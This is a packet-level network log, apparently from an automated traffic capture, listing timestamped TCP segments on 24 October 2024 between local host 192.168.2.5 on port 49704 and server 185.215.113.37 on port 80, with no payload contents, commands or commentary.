Oct 24, 2024 02:50:23.318645954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.318679094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.318687916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.318717003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.358131886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.358167887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.358200073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.358203888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.358234882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.358241081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.358278036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.358279943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.358314991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428217888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428258896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428282022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428298950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428314924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428313971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428313971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428313971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428347111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428356886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428363085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428373098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428391933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428404093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428771019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428813934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428818941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428834915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428857088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428875923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428879976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428891897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428908110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.428925991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.428951979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429076910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429101944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429117918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429126978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429132938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429147005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429147959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429162025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429164886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429181099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429187059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429197073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429212093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429215908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429238081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429248095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429265022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429271936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429280043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429289103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429307938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429312944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429322004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429331064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429348946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429358006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429364920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429382086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429383993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429399014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429402113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429418087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429424047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429435015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429442883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429461002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429469109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429474115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429491997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429502010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429507971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429522991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429531097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429541111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429543018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429558992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429580927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429580927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429599047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429620028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429637909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429644108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429660082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429670095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429685116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429685116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429702997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429706097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429718018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429722071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429735899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429743052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429752111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429759979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429773092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429785967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429788113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429805994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429811954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429831982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429836035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429851055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429858923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429866076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429868937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429882050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429884911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429898024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429898977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429913044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429913998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429933071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429939032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429948092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.429955959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429970980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429986000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.429991961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430010080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430021048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430025101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430042028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430047035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430058956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430068970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430074930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430090904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430104971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430110931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430123091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430125952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430139065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430150032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430155039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430165052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430181026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430182934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430195093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430216074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430217028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430233002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430247068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430263996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430267096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430286884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430289984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430304050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430314064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430319071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430327892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430336952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430344105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430358887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430362940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430376053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430378914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430392027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430402994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430418968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430421114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430433989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430433989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430450916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430452108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430465937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430466890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430485010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430486917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430500031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430511951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430519104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430529118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430543900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430562019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430562973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430577040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430587053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430603027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430613041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430625916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430640936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430649996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430669069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430670023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430682898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430685997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430704117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430705070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430718899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430721045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430737019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430737972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430752993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430753946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430775881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430792093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430797100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430811882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430826902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430830956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430841923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430846930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430859089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430862904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430880070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430915117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430922031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430932045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430948019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430953979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430968046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430978060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.430982113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.430994034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431008101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431022882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431027889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431039095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431055069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431072950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431102991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431116104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431138039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431149960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431155920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431170940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431175947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431186914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431196928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431201935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431219101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431221008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431231022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431236029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431245089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431257010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431260109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431282043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431293011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431296110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431309938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431334019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431343079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431359053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431366920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431382895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431382895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431399107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431402922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431416035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431416988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431432962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431433916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431451082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431463957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431498051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431544065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431556940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431560040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431577921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431593895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431619883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431634903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431651115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431658030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431669950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431672096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431688070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431708097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431730986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431746006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431761026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431776047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431780100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431802034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431802034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431818962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431828022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431835890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431842089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431850910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431859970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431874037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431874037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431890011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431895971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431905985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431910992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431925058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431931973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431941986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431946993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431962967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431977034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.431981087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.431993961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432003975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432018995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432030916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432035923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432050943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432054996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432073116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432079077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432086945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432095051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432104111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432116985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432120085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432133913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432145119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432146072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432162046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432169914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432178974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432192087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432209015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432212114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432224035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432245016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432265997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432272911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432288885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.432322979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.432349920 CEST	80	49704	185.215.113.37	192.168.2.5
